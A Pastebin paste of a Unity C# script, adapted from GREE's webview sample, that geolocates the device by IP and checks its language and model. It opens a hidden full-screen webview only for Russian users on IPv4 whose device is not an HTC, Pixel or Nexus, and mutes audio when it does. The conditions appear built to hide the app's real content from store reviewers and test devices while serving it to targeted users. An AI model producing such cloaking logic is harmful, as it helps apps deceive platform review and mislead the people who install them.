Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Copyright (C) 2012 GREE, Inc.
- *
- * This software is provided 'as-is', without any express or implied
- * warranty. In no event will the authors be held liable for any damages
- * arising from the use of this software.
- *
- * Permission is granted to anyone to use this software for any purpose,
- * including commercial applications, and to alter it and redistribute it
- * freely, subject to the following restrictions:
- *
- * 1. The origin of this software must not be misrepresented; you must not
- * claim that you wrote the original software. If you use this software
- * in a product, an acknowledgment in the product documentation would be
- * appreciated but is not required.
- * 2. Altered source versions must be plainly marked as such, and must not be
- * misrepresented as being the original software.
- * 3. This notice may not be removed or altered from any source distribution.
- */
- using SimpleJSON;
- using System;
- using System.Collections;
- using System.Net;
- using System.Net.Sockets;
- using UnityEngine;
- using UnityEngine.UI;
- using System.Collections.Generic;
- public class SampleWebView : MonoBehaviour
- {
- public string Url;
- public string urlCurrent;
- public GUIText status;
- public Text test;
- WebViewObject webViewObject;
- [SerializeField]
- private GameObject LoadingScreen;
- private void Awake()
- {
- Screen.orientation = ScreenOrientation.LandscapeLeft;
- LoadingScreen.SetActive(true);
- }
- public string GetIP()
- {
- return new WebClient().DownloadString("http://ip-api.com/json");
- }
- public string GetCountry(string ip)
- {
- return new WebClient().DownloadString("http://api.hostip.info/get_html.php?ip="+ip);
- }
- public string GetInfo()
- {
- return new WebClient().DownloadString("http://api.hostip.info/");
- }
- IEnumerator Start()
- {
- yield return new WaitForSeconds(1);
- if (Application.internetReachability == NetworkReachability.NotReachable)
- {
- //Change the Text
- }
- else
- {
- var N = JSON.Parse(GetIP());
- var versionString = N["countryCode"].Value; // versionString will be a string containing "1.0"
- IPAddress ip;
- try
- {
- IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
- ip = host.AddressList[0];
- }
- catch (Exception)
- {
- yield break;
- }
- // Проверка устройств и проверка языка. Если русский, то скорее всего же чувак из России.Проверка страны
- if ((SystemInfo.deviceModel != "HTC" && SystemInfo.deviceModel != "Google Pixel" && SystemInfo.deviceModel != "Google Nexus") && versionString == "RU" && Application.systemLanguage == SystemLanguage.Russian &&
- ip.AddressFamily != AddressFamily.InterNetworkV6)
- {
- LoadingScreen.SetActive(false);
- AudioListener.volume = 0f;
- // Отключил мануальное изменение ориентации устройства
- // Screen.orientation = ScreenOrientation.Portrait;
- Screen.orientation = ScreenOrientation.AutoRotation;
- webViewObject = (new GameObject("WebViewObject")).AddComponent<WebViewObject>();
- webViewObject.Init(
- cb: (msg) =>
- {
- Debug.Log(string.Format("CallFromJS[{0}]", msg));
- status.text = msg;
- status.GetComponent<Animation>().Play();
- },
- err: (msg) =>
- {
- Debug.Log(string.Format("CallOnError[{0}]", msg));
- status.text = msg;
- status.GetComponent<Animation>().Play();
- },
- started: (msg) =>
- {
- Debug.Log(string.Format("CallOnStarted[{0}]", msg));
- },
- ld: (msg) =>
- {
- Debug.Log(string.Format("CallOnLoaded[{0}]", msg));
- #if UNITY_EDITOR_OSX || !UNITY_ANDROID
- // NOTE: depending on the situation, you might prefer
- // the 'iframe' approach.
- // cf. https://github.com/gree/unity-webview/issues/189
- #if true
- webViewObject.EvaluateJS(@"
- if (window && window.webkit && window.webkit.messageHandlers && window.webkit.messageHandlers.unityControl) {
- window.Unity = {
- call: function(msg) {
- window.webkit.messageHandlers.unityControl.postMessage(msg);
- }
- }
- } else {
- window.Unity = {
- call: function(msg) {
- window.location = 'unity:' + msg;
- }
- }
- }
- ");
- #else
- webViewObject.EvaluateJS(@"
- if (window && window.webkit && window.webkit.messageHandlers && window.webkit.messageHandlers.unityControl) {
- window.Unity = {
- call: function(msg) {
- window.webkit.messageHandlers.unityControl.postMessage(msg);
- }
- }
- } else {
- window.Unity = {
- call: function(msg) {
- var iframe = document.createElement('IFRAME');
- iframe.setAttribute('src', 'unity:' + msg);
- document.documentElement.appendChild(iframe);
- iframe.parentNode.removeChild(iframe);
- iframe = null;
- }
- }
- }
- ");
- #endif
- #endif
- webViewObject.EvaluateJS(@"Unity.call('ua=' + navigator.userAgent)");
- },
- //ua: "custom user agent string",
- enableWKWebView: true);
- #if UNITY_EDITOR_OSX || UNITY_STANDALONE_OSX
- webViewObject.bitmapRefreshCycle = 1;
- #endif
- webViewObject.SetMargins(0, 0, 0, 0);
- webViewObject.SetVisibility(true);
- #if !UNITY_WEBPLAYER
- if (Url.StartsWith("http"))
- {
- webViewObject.LoadURL(Url.Replace(" ", "%20"));
- }
- else
- {
- var exts = new string[]{
- ".jpg",
- ".js",
- ".html" // should be last
- };
- foreach (var ext in exts)
- {
- var url = Url.Replace(".html", ext);
- var src = System.IO.Path.Combine(Application.streamingAssetsPath, url);
- var dst = System.IO.Path.Combine(Application.persistentDataPath, url);
- byte[] result = null;
- if (src.Contains("://"))
- { // for Android
- var www = new WWW(src);
- yield return www;
- result = www.bytes;
- }
- else
- {
- result = System.IO.File.ReadAllBytes(src);
- }
- System.IO.File.WriteAllBytes(dst, result);
- if (ext == ".html")
- {
- webViewObject.LoadURL("file://" + dst.Replace(" ", "%20"));
- break;
- }
- }
- }
- #else
- if (Url.StartsWith("http")) {
- webViewObject.LoadURL(Url.Replace(" ", "%20"));
- } else {
- webViewObject.LoadURL("StreamingAssets/" + Url.Replace(" ", "%20"));
- }
- webViewObject.EvaluateJS(
- "parent.$(function() {" +
- " window.Unity = {" +
- " call:function(msg) {" +
- " parent.unityWebView.sendMessage('WebViewObject', msg)" +
- " }" +
- " };" +
- "});");
- #endif
- yield break;
- }
- else
- {
- LoadingScreen.SetActive(false);
- }
- }
- }
- #if !UNITY_WEBPLAYER
- void OnGUI()
- {
- // GUI.enabled = webViewObject.CanGoBack();
- // if (GUI.Button(new Rect(10, 10, 80, 80), "<")) {
- // webViewObject.GoBack();
- // }
- // GUI.enabled = true;
- //
- // GUI.enabled = webViewObject.CanGoForward();
- // if (GUI.Button(new Rect(100, 10, 80, 80), ">")) {
- // webViewObject.GoForward();
- // }
- // GUI.enabled = true;
- //
- // GUI.TextField(new Rect(200, 10, 300, 80), "" + webViewObject.Progress());
- }
- #endif
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement